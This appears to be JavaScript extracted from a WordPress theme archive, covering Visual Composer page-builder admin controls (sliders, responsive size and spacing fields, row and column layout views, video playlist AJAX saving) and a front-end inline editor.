        $('.penci-vc-switch').each(function () {
            var $this = $(this);
            var currentValue = $this.find('.switch-field-value').val();

            $this.find('[data-value="' + currentValue + '"]').addClass('pc-active');
        });

        $('.switch-controls').on('click', function () {
            var $this = $(this);
            var value = $this.data('value');

            $this.addClass('pc-active');
            $this.siblings().removeClass('pc-active');
            $this.parents('.penci-vc-switch').find('.switch-field-value').val(value).trigger('change');
        });

        // slider
        $('.penci-vc-slider').each(function () {
            var $this = $(this);
            var $value = $this.find('.pc-slider-field-value');
            var $slider = $this.find('.pc-slider-field');
            var $text = $this.find('.pc-slider-value-preview');
            var sliderData = $value.data();
            var mainInputVal = $value.val();

            if (mainInputVal && isBase64(mainInputVal) && sliderData.css_args) {
                var parseVal = JSON.parse(window.atob(mainInputVal));
                mainInputVal = parseVal.data[sliderData.css_params.device];
            }

            $slider.slider({
                range: 'min',
                value: mainInputVal,
                min: sliderData.min,
                max: sliderData.max,
                step: sliderData.step,
                slide: function (event, ui) {
                    setMainSliderValue($this, ui.value);
                    $text.text(ui.value);
                }
            });

            $text.text($slider.slider('value'));
            setMainSliderValue($this, mainInputVal);
        });

        function setMainSliderValue($this, value) {
            var $mainInput = $this.find('.pc-slider-field-value');

            var results = {
                param_type: 'penci_slider',
                css_args: $mainInput.data('css_args'),
                css_params: $mainInput.data('css_params'),
                selector_id: $('.penci-css-id').val(),
                data: {}
            };

            results.data[$mainInput.data('css_params').device] = value;

            results = window.btoa(JSON.stringify(results));

            if (0 === parseInt(value)) {
                results = '';
            }

            if (!$mainInput.data('css_args')) {
                results = value;
            }

            $mainInput.val(results).trigger('change');
        }

        function isBase64(str) {
            try {
                return btoa(atob(str)) === str;
            } catch (err) {
                return false;
            }
        }

        // responsive sizes
        //Transfer old options
        transferCustomSizeOptions({
            oldSizes: {
                desktop: $('.desktop_text_size'),
                tablet: $('.tablet_text_size'),
                mobile: $('.mobile_text_size'),
            },
            newOptSelector: $('.title_font_size'),
        });

        transferCustomSizeOptions({
            oldSizes: {
                desktop: $('.desktop_text_size'),
                tablet: $('.tablet_text_size'),
                mobile: $('.mobile_text_size'),
            },
            newOptSelector: $('.text_font_size'),
        });

        transferCustomSizeOptions({
            oldSizes: {
                desktop: $('.title_desktop_text_size'),
                tablet: $('.title_tablet_text_size'),
                mobile: $('.title_mobile_text_size'),
            },
            newOptSelector: $('.custom_title_size'),
        });

        transferCustomSizeOptions({
            oldSizes: {
                desktop: $('.subtitle_desktop_text_size'),
                tablet: $('.subtitle_tablet_text_size'),
                mobile: $('.subtitle_mobile_text_size'),
            },
            newOptSelector: $('.custom_subtitle_size'),
        });

        function transferCustomSizeOptions(args) {
            if (args.newOptSelector.length == 0) return;

            $.each(args.oldSizes, function (key, value) {
                if (!value.val()) return;
                args.newOptSelector.find('input[data-id="' + key + '"]').val(value.val());
                args.newOptSelector.find('.penci-rs-item').removeClass('hide');
                args.newOptSelector.find('.penci-rs-value').val('');
                value.val('');
            });
        }

        //Size options
        $('.penci-rs-wrapper').each(function () {
            var $this = $(this);
            setInputsValue($this);
            setMainValue($this);
        });

        $('.penci-rs-input').on('change', function () {
            var $wrapper = $(this).parents('.penci-rs-wrapper');
            setMainValue($wrapper);
        });

        function setMainValue($this) {
            var $mainInput = $this.find('.penci-rs-value');
            var results = {
                param_type: 'penci_responsive_sizes',
                css_args: $mainInput.data('css_args'),
                selector_id: $('.penci-css-id').val(),
                data: {}
            };

            $this.find('.penci-rs-input').each(function (index, elm) {
                var value = $(elm).val();
                var responsive = $(elm).data('id');
                if (value) {
                    results.data[responsive] = value + 'px';
                }
            });

            if ($.isEmptyObject(results.data)) {
                results = '';
            } else {
                results = window.btoa(JSON.stringify(results));
            }

            $mainInput.val(results).trigger('change');
        }

        function setInputsValue($this) {
            var $mainInput = $this.find('.penci-rs-value');
            var mainInputVal = $mainInput.val();
            var toggle = {};

            if (mainInputVal) {
                var parseVal = JSON.parse(window.atob(mainInputVal));

                $.each(parseVal.data, function (key, value) {
                    $this.find('.penci-rs-input').each(function (index, element) {
                        var dataid = $(element).data('id');

                        if (dataid == key) {
                            $(element).val(value.replace('px', ''));
                            //Toggle
                            toggle[dataid] = value;
                        }
                    });
                });
            }

            //Toggle
            function size(obj) {
                var size = 0, key;
                for (key in obj) {
                    if (obj.hasOwnProperty(key)) size++;
                }
                return size;
            };

            var size = size(toggle);

            if (size >= 2) {
                $this.find('.penci-rs-item').removeClass('hide');
            }
        }

        // responsive spacing
        $('.vc_wrapper-param-type-css_editor .vc_layout-onion').addClass('pc-active');
        $('.pc-spacing-devices > span').on('click', function () {
            var $this = $(this);
            var device = $this.data('value');

            $this.siblings().removeClass('pc-active');
            $this.addClass('pc-active');
            if ('desktop' === device) {
                $wrapperPanel.find('.vc_layout-onion').removeClass('pc-active');
                $wrapperPanel.find('.vc_wrapper-param-type-css_editor .vc_layout-onion').addClass('pc-active');
            } else {
                $wrapperPanel.find('.vc_layout-onion').removeClass('pc-active');
                $wrapperPanel.find('.vc_layout-onion[data-device="' + device + '"]').addClass('pc-active');
            }
        });

        $('.pc-responsive-spacing-wrapper').each(function () {
            var $this = $(this);
            setResSpacingInputsValue($this);
            setResSpacingMainValue($this);
        });

        $('.pc-responsive-spacing input').on('change', function () {
            var $wrapper = $(this).parents('.pc-responsive-spacing-wrapper');
            setResSpacingMainValue($wrapper);
        });

        function setResSpacingMainValue($this) {
            var $mainInput = $this.find('.pc-responsive-spacing-value');
            var results = {
                param_type: 'penci_responsive_spacing',
                selector_id: $('.penci-css-id').val(),
                shortcode: $panel.attr('data-vc-shortcode'),
                data: {}
            };

            $this.find('.pc-responsive-spacing').each(function () {
                var $this = $(this);
                var device = $this.data('device');

                results.data[device] = {};

                $this.find('input').each(function (index, elm) {
                    var $elm = $(elm);
                    var value = $elm.val();
                    var name = $elm.data('name');

                    if (value) {
                        Object.assign(results.data[device], {
                            [name]: value
                        });
                    }
                });
            });

            if ($.isEmptyObject(results.data)) {
                results = '';
            } else {
                results = window.btoa(JSON.stringify(results));
            }

            $mainInput.val(results).trigger('change');
        }

        function setResSpacingInputsValue($this) {
            var $mainInput = $this.find('.pc-responsive-spacing-value');
            var mainInputVal = $mainInput.val();

            if (mainInputVal) {
                var parseVal = JSON.parse(window.atob(mainInputVal));

                $.each(parseVal.data, function (key, value) {
                    var device = key;
                    if (value) {
                        $.each(value, function (key, value) {
                            if (!value.includes('px') && !value.includes('%') && !value.includes('vh') && !value.includes('vw')) {
                                value += 'px';
                            }

                            $this.find('[data-device="' + device + '"]').find('[data-name="' + key + '"]').val(value);
                        });
                    }
                });
            }
        }

        if (typeof tinyMCE !== 'undefined') {
            tinyMCE.EditorManager.execCommand('mceAddEditor', true, 'wpb_tinymce_content');
            if (typeof _formated_content !== typeof undefined) {
                tinyMCE.get('wpb_tinymce_content').setContent(_formated_content);
            }
        }
    });
})(jQuery);
PK     0w\,nbOc  Oc     js_composer/assets/vc-backend.jsnu [        if (!window.vc) var vc = {};
!function () {
    vc.templateOptions = {
        default: {
            evaluate: /<%([\s\S]+?)%>/g,
            interpolate: /<%=([\s\S]+?)%>/g,
            escape: /<%-([\s\S]+?)%>/g
        },
        custom: {
            evaluate: /<#([\s\S]+?)#>/g,
            interpolate: /\{\{\{([\s\S]+?)\}\}\}/g,
            escape: /\{\{([^\}]+?)\}\}(?!\})/g
        }
    };
    var escapes = {
            "'": "'",
            "\\": "\\",
            "\r": "r",
            "\n": "n",
            "\u2028": "u2028",
            "\u2029": "u2029"
        },
        escapeChar = function (match) {
            return "\\" + escapes[match]
        };
    vc.template = function (text, settings) {
        settings = _.defaults({}, settings, vc.templateOptions.default);
        var matcher = RegExp([(settings.escape || /(.)^/).source, (settings.interpolate || /(.)^/).source, (settings.evaluate || /(.)^/).source].join("|") + "|$", "g"),
            index = 0,
            source = "__p+='";
        text.replace(matcher, function (match, escape, interpolate, evaluate, offset) {
            return source += text.slice(index, offset).replace(/\\|'|\r|\n|\u2028|\u2029/g, escapeChar), index = offset + match.length, escape ? source += "'+\n((__t=(" + escape + "))==null?'':_.escape(__t))+\n'" : interpolate ? source += "'+\n((__t=(" + interpolate + "))==null?'':__t)+\n'" : evaluate && (source += "';\n" + evaluate + "\n__p+='"), match
        }), source += "';\n", settings.variable || (source = "with(obj||{}){\n" + source + "}\n"), source = "var __t,__p='',__j=Array.prototype.join,print=function(){__p+=__j.call(arguments,'');};\n" + source + "return __p;\n";
        var render;
        try {
            render = new Function(settings.variable || "obj", "_", source)
        } catch (e) {
            throw e.source = source, e
        }
        var template = function (data) {
                return render.call(this, data, _)
            },
            argument = settings.variable || "obj";
        return template.source = "function(" + argument + "){\n" + source + "}", template
    };
}(),
    function ($) {
        var Shortcodes = vc.shortcodes;
        window.VcPenciContainerView = vc.shortcode_view.extend({
            change_columns_layout: !1,
            events: {
                'click > .vc_controls [data-vc-control="delete"]': "deleteShortcode",
                "click > .vc_controls .penci_set_layout": "setColumns",
                'click > .vc_controls [data-vc-control="add"]': "addElement",
                'click > .vc_controls [data-vc-control="edit"]': "editElement",
                'click > .vc_controls [data-vc-control="clone"]': "clone",
                'click > .vc_controls [data-vc-control="move"]': "moveElement",
                'click > .vc_controls [data-vc-control="toggle"]': "toggleElement",
                "click > .wpb_element_wrapper .vc_controls": "openClosedRow"
            },
            convertRowColumns: function (layout) {
                var layout_split = layout.toString().split(/_/),
                    columns = Shortcodes.where({
                        parent_id: this.model.id
                    }),
                    new_columns = [],
                    new_layout = [],
                    new_width = "";

                var params = this.model.get("params"),
                    addParams = {container_layout: layout.toString()};
                mergedParams = _.extend({}, params, addParams);
                this.model.save("params", mergedParams);

                return _.each(layout_split, function (value, i) {
                    var new_column_params, new_column, column_data = _.map(value.toString().split(""), function (v, i) {
                        return parseInt(v, 10)
                    });

                    if (column_data.length > 3) {
                        new_width = column_data[0] + '' + column_data[1] + '/' + column_data[2] + '' + column_data[3];
                    } else if (column_data.length > 2) {
                        new_width = column_data[0] + '/' + column_data[1] + '' + column_data[2];
                    } else {
                        new_width = column_data[0] + '/' + column_data[1];
                    }
                    new_layout.push(new_width);

                    new_column_params = _.extend({}, _.isUndefined(columns[i]) ? {} : columns[i].get('params'),
                        {width: new_width, order: parseInt(i + 1)}),
                        vc.storage.lock(), new_column = Shortcodes.create({
                        shortcode: this.getChildTag(),
                        params: new_column_params,
                        parent_id: this.model.id
                    }), _.isObject(columns[i]) && _.each(Shortcodes.where({
                        parent_id: columns[i].id
                    }), function (shortcode) {
                        vc.storage.lock(), shortcode.save({
                            parent_id: new_column.id
                        }), vc.storage.lock(), shortcode.trigger("change_parent_id")
                    }), new_columns.push(new_column)
                }, this), layout_split.length < columns.length && _.each(columns.slice(layout_split.length), function (column) {
                    _.each(Shortcodes.where({
                        parent_id: column.id
                    }), function (shortcode) {
                        vc.storage.lock(), shortcode.save({
                            parent_id: _.last(new_columns).id
                        }), vc.storage.lock(), shortcode.trigger("change_parent_id")
                    })
                }), _.each(columns, function (shortcode) {
                    vc.storage.lock(), shortcode.destroy()
                }, this), this.model.save(), this.setActiveLayoutButton("" + layout), new_layout
            },
            changeShortcodeParams: function (model) {
                window.VcPenciContainerView.__super__.changeShortcodeParams.call(this, model), this.buildDesignHelpers(), this.setRowClasses()
            },
            setRowClasses: function () {
                var disable = this.model.getParam("disable_element"),
                    disableClass = "vc_hidden-xs vc_hidden-sm  vc_hidden-md vc_hidden-lg";
                this.disable_element_class && this.$el.removeClass(this.disable_element_class), _.isEmpty(disable) || (this.$el.addClass(disableClass), this.disable_element_class = disableClass)
            },
            designHelpersSelector: "> .penci_container_controls .column_toggle",
            buildDesignHelpers: function () {

                var css, $elementToPrepend, image, color, rowId, matches;

                var valueParam = '',
                    elWidth = this.model.getParam("el_width"),
                    elWidthCustom = this.model.getParam("penci_el_width_custom"),
                    elEnableSticky = this.model.getParam("el_enable_sticky");

                rowId = this.model.getParam("el_id");

                if (!_.isEmpty(rowId)) {
                    valueParam += "#" + rowId;
                }

                if (!_.isEmpty(elWidth)) {

                    if (!_.isEmpty(rowId)) {
                        valueParam += '|';
                    }

                    var $contentSidebarSidebar = this.$el.find("> .vc_controls .cell-12_14_14"),
                        $sidebarSidebarContent = this.$el.find("> .vc_controls .cell-14_14_12"),
                        $twoSidebar = this.$el.find("> .vc_controls .cell-14_12_14"),
                        $fourSidebar = this.$el.find("> .vc_controls .cell-14_14_14_14");

                    if ('penci-wide-content' === elWidth) {
                        valueParam += '';
                    } else if ('w1080' === elWidth && 'penci_container' === this.model.attributes.shortcode) {
                        valueParam += 'W:1080px';
                        $twoSidebar.addClass('penci-hidden');
                        $fourSidebar.addClass('penci-hidden');
                        $contentSidebarSidebar.addClass('penci-hidden');
                        $sidebarSidebarContent.addClass('penci-hidden');

                        if (this.$el.find("> .vc_controls .penci_set_layout.vc_active").hasClass('cell-14_12_14')) {
                            this.$el.find("> .vc_controls .penci_set_layout.cell-23_13").click();
                        }

                        if (this.$el.find("> .vc_controls .penci_set_layout.vc_active").hasClass('ccell-14_14_14_14')) {
                            this.$el.find("> .vc_controls .penci_set_layout.cell-23_13").click();
                        }

                    } else if ('w1170' === elWidth) {
                        valueParam += 'W:1170px';
                        $twoSidebar.addClass('penci-hidden');
                        $fourSidebar.addClass('penci-hidden');
                        $contentSidebarSidebar.addClass('penci-hidden');
                        $sidebarSidebarContent.addClass('penci-hidden');

                        if (this.$el.find("> .vc_controls .penci_set_layout.vc_active").hasClass('cell-14_12_14')) {
                            this.$el.find("> .vc_controls .penci_set_layout.cell-23_13").click();
                        }

                        if (this.$el.find("> .vc_controls .penci_set_layout.vc_active").hasClass('ccell-14_14_14_14')) {
                            this.$el.find("> .vc_controls .penci_set_layout.cell-23_13").click();
                        }
                    } else if ('w1400' === elWidth) {
                        valueParam += 'W:1400px';
                        $twoSidebar.removeClass('penci-hidden');
                        $fourSidebar.removeClass('penci-hidden');
                        $contentSidebarSidebar.removeClass('penci-hidden');
                        $sidebarSidebarContent.removeClass('penci-hidden');
                    }
                }

                if (!_.isEmpty(valueParam)) {
                    valueParam += '';
                }

                if (!_.isEmpty(elEnableSticky)) {
                    valueParam += '| Sticky';
                }

                css = this.model.getParam("css"), $elementToPrepend = this.$el.find(this.designHelpersSelector), this.$el.find("> .vc_controls .vc_row_color").remove(), this.$el.find("> .vc_controls .vc_row_image").remove(), matches = css.match(/background\-image:\s*url\(([^\)]+)\)/), matches && !_.isUndefined(matches[1]) && (image = matches[1]), matches = css.match(/background\-color:\s*([^\s\;]+)\b/), matches && !_.isUndefined(matches[1]) && (color = matches[1]), matches = css.match(/background:\s*([^\s]+)\b\s*url\(([^\)]+)\)/), matches && !_.isUndefined(matches[1]) && (color = matches[1], image = matches[2]), this.$el.find("> .vc_controls .vc_row-hash-id").remove(), _.isEmpty(valueParam) || $('<span class="vc_row-hash-id"></span>').text(valueParam).insertAfter($elementToPrepend), image && $('<span class="vc_row_image" style="background-image: url(' + image + ');" title="' + window.i18nLocale.row_background_image + '"></span>').insertAfter($elementToPrepend), color && $('<span class="vc_row_color" style="background-color: ' + color + '" title="' + window.i18nLocale.row_background_color + '"></span>').insertAfter($elementToPrepend)
            },
            addElement: function (e) {
                e && e.preventDefault(), Shortcodes.create({
                    shortcode: this.getChildTag(),
                    params: {},
                    parent_id: this.model.id
                }), this.setActiveLayoutButton(), this.$el.removeClass("vc_collapsed-row")
            },
            getChildTag: function () {
                return "penci_container_inner" === this.model.get("shortcode") ? "penci_column_inner" : "penci_column"
            },
            sortingSelector: "> [data-element_type=vc_column], > [data-element_type=vc_column_inner]",
            sortingSelectorCancel: ".vc-non-draggable-column",
            setSorting: function () {
                var _this = this;
                1 < this.$content.find(this.sortingSelector).length ? this.$content.removeClass("wpb-not-sortable").sortable({
                    forcePlaceholderSize: !0,
                    placeholder: "widgets-placeholder-column",
                    tolerance: "pointer",
                    cursor: "move",
                    items: this.sortingSelector,
                    cancel: this.sortingSelectorCancel,
                    distance: .5,
                    start: function (event, ui) {
                        $("#visual_composer_content").addClass("vc_sorting-started"), ui.placeholder.width(ui.item.width())
                    },
                    stop: function (event, ui) {
                        $("#visual_composer_content").removeClass("vc_sorting-started")
                    },
                    update: function () {
                        var $columns = $(_this.sortingSelector, _this.$content);
                        $columns.each(function () {
                            var model = $(this).data("model"),
                                index = $(this).index();
                            model.set("order", index), $columns.length - 1 > index && vc.storage.lock(), model.save()
                        })
                    },
                    over: function (event, ui) {
                        ui.placeholder.css({
                            maxWidth: ui.placeholder.parent().width()
                        }), ui.placeholder.removeClass("vc_hidden-placeholder")
                    },
                    beforeStop: function (event, ui) {
                    }
                }) : (this.$content.hasClass("ui-sortable") && this.$content.sortable("destroy"), this.$content.addClass("wpb-not-sortable"))
            },
            validateCellsList: function (cells) {
                var b, return_cells = [],
                    split = cells.replace(/\s/g, "").split("+");
                return 12 === _.reduce(_.map(split, function (c) {
                    if (c.match(/^(vc_)?span\d?$/)) {
                        var converted_c = vc_convert_column_span_size(c);
                        return !1 === converted_c ? 1e3 : (b = converted_c.split(/\//), return_cells.push(b[0] + "" + b[1]), 12 * parseInt(b[0], 10) / parseInt(b[1], 10))
                    }
                    return c.match(/^[1-9]|1[0-2]\/[1-9]|1[0-2]$/) ? (b = c.split(/\//), return_cells.push(b[0] + "" + b[1]), 12 * parseInt(b[0], 10) / parseInt(b[1], 10)) : 1e4
                }), function (num, memo) {
                    return memo += num
                }, 0) && return_cells.join("_")
            },
            setActiveLayoutButton: function (column_layout) {
                column_layout || (column_layout = _.map(vc.shortcodes.where({
                    parent_id: this.model.get("id")
                }), function (model) {
                    var width = model.getParam("width");
                    return width ? width.replace(/\//, "") : "11"
                }).join("_")), this.$el.find("> .vc_controls .vc_active").removeClass("vc_active");
                var $button = this.$el.find('> .vc_ [data-cells-mask="' + vc_get_column_mask(column_layout) + '"] [data-cells="' + column_layout + '"], > .vc_controls [data-cells-mask="' + vc_get_column_mask(column_layout) + '"][data-cells="' + column_layout + '"]');
                $button.length ? $button.addClass("vc_active") : this.$el.find("> .vc_controls [data-cells-mask=custom]").addClass("vc_active")
            },
            layoutEditor: function () {
                return _.isUndefined(vc.row_layout_editor) && (vc.row_layout_editor = new vc.RowLayoutUIPanelBackendEditor({
                    el: $("#vc_ui-panel-row-layout")
                })), vc.row_layout_editor
            },
            setColumns: function (e) {
                _.isObject(e) && e.preventDefault();
                var $button = $(e.currentTarget);
                $button.is(".vc_active") || (this.change_columns_layout = !0, _.defer(function (view, cells) {
                    view.convertRowColumns(cells)
                }, this, $button.data("cells")))
                this.$el.removeClass("vc_collapsed-row")
            },
            sizeRows: function () {
                var max_height = 45;
                $("> .wpb_vc_column, > .wpb_vc_column_inner", this.$content).each(function () {
                    var content_height = $(this).find("> .wpb_element_wrapper > .wpb_column_container").css({
                        minHeight: 0
                    }).height();
                    content_height > max_height && (max_height = content_height)
                }).each(function () {
                    $(this).find("> .wpb_element_wrapper > .wpb_column_container").css({
                        minHeight: max_height
                    })
                })
            },
            ready: function (e) {
                return window.VcPenciContainerView.__super__.ready.call(this, e), this
            },
            checkIsEmpty: function () {
                window.VcPenciContainerView.__super__.checkIsEmpty.call(this), this.setSorting()
            },
            changedContent: function (view) {
                if (this.change_columns_layout) return this;
                this.setActiveLayoutButton()
            },
            moveElement: function (e) {
                e.preventDefault()
            },
            toggleElement: function (e) {
                e && e.preventDefault(), this.$el.toggleClass("vc_collapsed-row")
            },
            openClosedRow: function (e) {
                this.$el.removeClass("vc_collapsed-row")
            },
            remove: function () {
                this.$content && this.$content.data("uiSortable") && this.$content.sortable("destroy"), this.$content && this.$content.data("uiDroppable") && this.$content.droppable("destroy"), delete vc.app.views[this.model.id], window.VcPenciContainerView.__super__.remove.call(this)
            }
        });
        window.VcPenciVideoList = vc.shortcode_view.extend({

            changeShortcodeParams: function (model) {
                var data = {
                    action: 'penci_save_video_playlist',
                    videoList: this.model.getParam("videos_list"),
                    shortcodeId: this.model.getParam("video_shortcode_id"),
                    nonce: PENCILOCALIZE.nonce
                };

                $.post(PENCILOCALIZE.ajaxUrl, data, function (response) {
                });
            },
            deleteShortcode: function (e) {

                _.isObject(e) && e.preventDefault(), !0 === confirm(window.i18nLocale.press_ok_to_delete_section) && this.model.destroy();

                var data = {
                    action: 'penci_remove_video_playlist',
                    shortcodeId: this.model.getParam("video_shortcode_id"),
                    nonce: PENCILOCALIZE.nonce
                };

                $.post(PENCILOCALIZE.ajaxUrl, data, function (response) {
                });
            },
        });
        window.VcPenciVideoList = vc.shortcode_view.extend({
            render: function () {
                var params = this.model.get('params');

                if (!params.block_id) {
                    params.block_id = this.model.get("shortcode") + '-' + (+new Date() + Math.floor(Math.random() * 11));

                    this.model.save('params', params);
                }
                this.id = 'block-' + params.block_id;
                this.$el.attr('id', this.id);

                return window.VcColumnView.__super__.render.call(this), this.current_column_width = this.model.get("params").width || "1/1", this.$el.attr("data-width", this.current_column_width), this.setEmpty(), this
            },
            cloneModel: function (model, parent_id, save_order) {
                var shortcodes_to_resort = [],
                    randomID = model.get("shortcode") + '-' + (+new Date() + Math.floor(Math.random() * 11)),
                    new_order = _.isBoolean(save_order) && save_order === true ? model.get('order') : parseFloat(model.get('order')) + vc.clone_index,
                    new_params = _.extend({}, model.get('params'));

                _.extend(new_params, {block_id: +randomID});
                var model_clone = Shortcodes.create({
                    shortcode: model.get('shortcode'),
                    parent_id: parent_id,
                    order: new_order,
                    cloned: true,
                    cloned_from: model.toJSON(),
                    params: new_params
                });
                _.each(Shortcodes.where({parent_id: model.id}), function (shortcode) {
                    this.cloneModel(shortcode, model_clone.id, true);
                }, this);


                return model_clone;
            },
            changeShortcodeParams: function (model) {
                var data = {
                    action: 'penci_save_video_playlist',
                    videoList: this.model.getParam("videos_list"),
                    shortcodeId: this.model.getParam("block_id"),
                    nonce: PENCILOCALIZE.nonce
                };

                $.post(PENCILOCALIZE.ajaxUrl, data, function (response) {
                });
            },
            deleteShortcode: function (e) {

                _.isObject(e) && e.preventDefault(), !0 === confirm(window.i18nLocale.press_ok_to_delete_section) && this.model.destroy();

                var data = {
                    action: 'penci_remove_video_playlist',
                    shortcodeId: this.model.getParam("block_id"),
                    nonce: PENCILOCALIZE.nonce
                };

                $.post(PENCILOCALIZE.ajaxUrl, data, function (response) {
                });
            },
        });
        window.VcPenciShortcodeView = vc.shortcode_view.extend({
            render: function () {
                var params = this.model.get('params');

                if (!params.block_id || this.model.get('cloned')) {
                    params.block_id = this.model.get("shortcode") + '-' + (+new Date() + Math.floor(Math.random() * 11));

                    this.model.save('params', params);
                }
                this.id = 'block-' + params.block_id;
                this.$el.attr('id', this.id);

                return window.VcColumnView.__super__.render.call(this), this.current_column_width = this.model.get("params").width || "1/1", this.$el.attr("data-width", this.current_column_width), this.setEmpty(), this
            },
            cloneModel: function (model, parent_id, save_order) {
                var shortcodes_to_resort = [],
                    randomID = model.get("shortcode") + '-' + (+new Date() + Math.floor(Math.random() * 11)),
                    new_order = _.isBoolean(save_order) && save_order === true ? model.get('order') : parseFloat(model.get('order')) + vc.clone_index,
                    new_params = _.extend({}, model.get('params'));

                _.extend(new_params, {block_id: +randomID});
                var model_clone = Shortcodes.create({
                    shortcode: model.get('shortcode'),
                    parent_id: parent_id,
                    order: new_order,
                    cloned: true,
                    cloned_from: model.toJSON(),
                    params: new_params
                });
                _.each(Shortcodes.where({parent_id: model.id}), function (shortcode) {
                    this.cloneModel(shortcode, model_clone.id, true);
                }, this);


                return model_clone;
            }
        });
        vc.atts.penci_google_fonts = {
            parse: function (param) {
                var string_pieces, $field = this.content().find(".wpb_vc_param_value[name=" + param.param_name + "]"),
                    $block = $field.parent(),
                    options = {};
                return options.font_family = $block.find(".vc_google_fonts_form_field-font_family-select > option:selected").val(), options.font_style = $block.find(".vc_google_fonts_form_field-font_style-select > option:selected").val(), string_pieces = _.map(options, function (value, key) {
                    if (_.isString(value) && 0 < value.length) return key + ":" + encodeURIComponent(value)
                }), $.grep(string_pieces, function (value) {
                    return _.isString(value) && 0 < value.length
                }).join("|")
            },
            init: function (param, $field) {

            }
        };
    }(window.jQuery);

jQuery(function ($) {
    'use strict';
    $(document).on('click', '.penci-image-select', function () {
        var $this = $(this);

        $this.parent().siblings('.wpb_vc_param_value').attr("value", $this.data('value')).change();
        $this.addClass('penci-image-select--active')
            .siblings().removeClass('penci-image-select--active');
    });

    $(document).on('change', '.penci-number-input, .penci-number-suffix', function () {
        var $number = $(this).parent(),
            input = $number.find('.penci-number-input').val(),
            unit = $number.find('.penci-number-suffix').val();

        $number.find('.wpb_vc_param_value').val(input + unit);
    });
});
PK     0w\;L+  +  %  js_composer/assets/frontend-editor.jsnu [        (function ( $ ) {
	window.InlineShortcodeView_penci_container = window.InlineShortcodeView.extend( {
		column_tag: 'vc_column',
		events: {
			'mouseenter': 'removeHoldActive'
		},
		layout: 1,
		addControls: function () {
			this.$controls = $( '<div class="no-controls"></div>' );
			this.$controls.appendTo( this.$el );

			return this;
		},
		render: function () {
			var $content = this.content();
			if ( $content && $content.hasClass( 'vc_row-has-fill' ) ) {
				$content.removeClass( 'vc_row-has-fill' );
				this.$el.addClass( 'vc_row-has-fill' );
			}
			window.InlineShortcodeView_vc_row.__super__.render.call( this );

			return this;
		},
		removeHoldActive: function () {
			vc.unsetHoldActive();
		},
		addColumn: function () {
			vc.builder.create( {
				shortcode: this.column_tag,
				parent_id: this.model.get( 'id' )
			} ).render();
		},
		addElement: function ( e ) {
			if ( e && e.preventDefault ) {
				e.preventDefault();
			}
			this.addColumn();
		},
		changeLayout: function ( e ) {
			if ( e && e.preventDefault ) {
				e.preventDefault();
			}
			this.layoutEditor().render( this.model ).show();
		},
		layoutEditor: function () {
			if ( _.isUndefined( vc.row_layout_editor ) ) {
				vc.row_layout_editor = new vc.RowLayoutUIPanelFrontendEditor( { el: $( '#vc_ui-panel-row-layout' ) } );
			}

			return vc.row_layout_editor;
		},
		convertToWidthsArray: function ( string ) {
			return _.map( string.split( /_/ ), function ( c ) {
				var w = c.split( '' );
				w.splice( Math.floor( c.length / 2 ), 0, '/' );
				return w.join( '' );
			} );
		},
		changed: function () {
			window.InlineShortcodeView_vc_row.__super__.changed.call( this );
			this.addLayoutClass();
		},
		content: function () {
			if ( false === this.$content ) {
				this.$content = this.$el.find( '.vc_container-anchor:first' ).parent();
			}
			this.$el.find( '.vc_container-anchor:first' ).remove();

			return this.$content;
		},
		addLayoutClass: function () {
			this.$el.removeClass( 'vc_layout_' + this.layout );
			this.layout = _.reject( vc.shortcodes.where( { parent_id: this.model.get( 'id' ) } ), function ( model ) {
				return model.get( 'deleted' );
			} ).length;
			this.$el.addClass( 'vc_layout_' + this.layout );
		},
		convertRowColumns: function ( layout, builder ) {
			if ( !layout ) {
				return false;
			}
			var column_params, new_model, columns_contents, columns;
			columns_contents = [];
			columns = this.convertToWidthsArray( layout );
			vc.layout_change_shortcodes = [];
			vc.layout_old_columns = vc.shortcodes.where( { parent_id: this.model.get( 'id' ) } );
			_.each( vc.layout_old_columns, function ( column ) {
				column.set( 'deleted', true );
				columns_contents.push( {
					shortcodes: vc.shortcodes.where( { parent_id: column.get( 'id' ) } ),
					params: column.get( 'params' )
				} );
			} );
			_.each( columns, function ( column ) {
				var prev_settings = columns_contents.shift();
				if ( _.isObject( prev_settings ) ) {
					new_model = builder.create( {
						shortcode: this.column_tag,
						parent_id: this.model.get( 'id' ),
						order: vc.shortcodes.nextOrder(),
						params: _.extend( {}, prev_settings.params, { width: column } )
					} ).last();
					_.each( prev_settings.shortcodes, function ( shortcode ) {
						shortcode.save( {
								parent_id: new_model.get( 'id' ),
								order: vc.shortcodes.nextOrder()
							},
							{ silent: true } );
						vc.layout_change_shortcodes.push( shortcode );
					}, this );
				} else {
					column_params = { width: column };

					new_model = builder.create( {
						shortcode: this.column_tag,
						parent_id: this.model.get( 'id' ),
						order: vc.shortcodes.nextOrder(),
						params: column_params
					} ).last();
				}
			}, this );
			_.each( columns_contents, function ( column ) {
				_.each( column.shortcodes, function ( shortcode ) {
					shortcode.save( {
							parent_id: new_model.get( 'id' ),
							order: vc.shortcodes.nextOrder()
						},
						{ silent: true } );
					vc.layout_change_shortcodes.push( shortcode );
					if ( shortcode.view.rowsColumnsConverted ) {
						shortcode.view.rowsColumnsConverted();
					}
				}, this );
			}, this );
			builder.render( function () {
				_.each( vc.layout_change_shortcodes, function ( shortcode ) {
					shortcode.trigger( 'change:parent_id' );
					if ( shortcode.view.rowsColumnsConverted ) {
						shortcode.view.rowsColumnsConverted();
					}
				} );
				_.each( vc.layout_old_columns, function ( column ) {
					column.destroy();
				} );
				vc.layout_old_columns = [];
				vc.layout_change_shortcodes = [];
			} );

			return columns;
		},
		allowAddControl: function () {
			return 'edit' !== vc_user_access().getState( 'shortcodes' );
		},
		allowAddControlOnEmpty: function () {
			return 'edit' !== vc_user_access().getState( 'shortcodes' );
		}
	} );

	window.InlineShortcodeView_penci_column = window.InlineShortcodeViewContainerWithParent.extend( {
		controls_selector: '#vc_controls-template-vc_column',
		resizeDomainName: 'columnSize',
		_x: 0,
		css_width: 12,
		prepend: false,
		initialize: function ( params ) {
			window.InlineShortcodeView_vc_column.__super__.initialize.call( this, params );
			_.bindAll( this, 'startChangeSize', 'stopChangeSize', 'resize' );
		},
		render: function () {
			var width;
			window.InlineShortcodeView_vc_column.__super__.render.call( this );
			this.prepend = false;
			// Here goes width logic
			$( '<div class="vc_resize-bar"></div>' )
				.appendTo( this.$el )
				.mousedown( this.startChangeSize );
			this.setColumnClasses();
			this.customCssClassReplace();
			return this;
		},
		destroy: function ( e ) {
			var parent_id = this.model.get( 'parent_id' );
			window.InlineShortcodeView_vc_column.__super__.destroy.call( this, e );
			if ( !vc.shortcodes.where( { parent_id: parent_id } ).length ) {
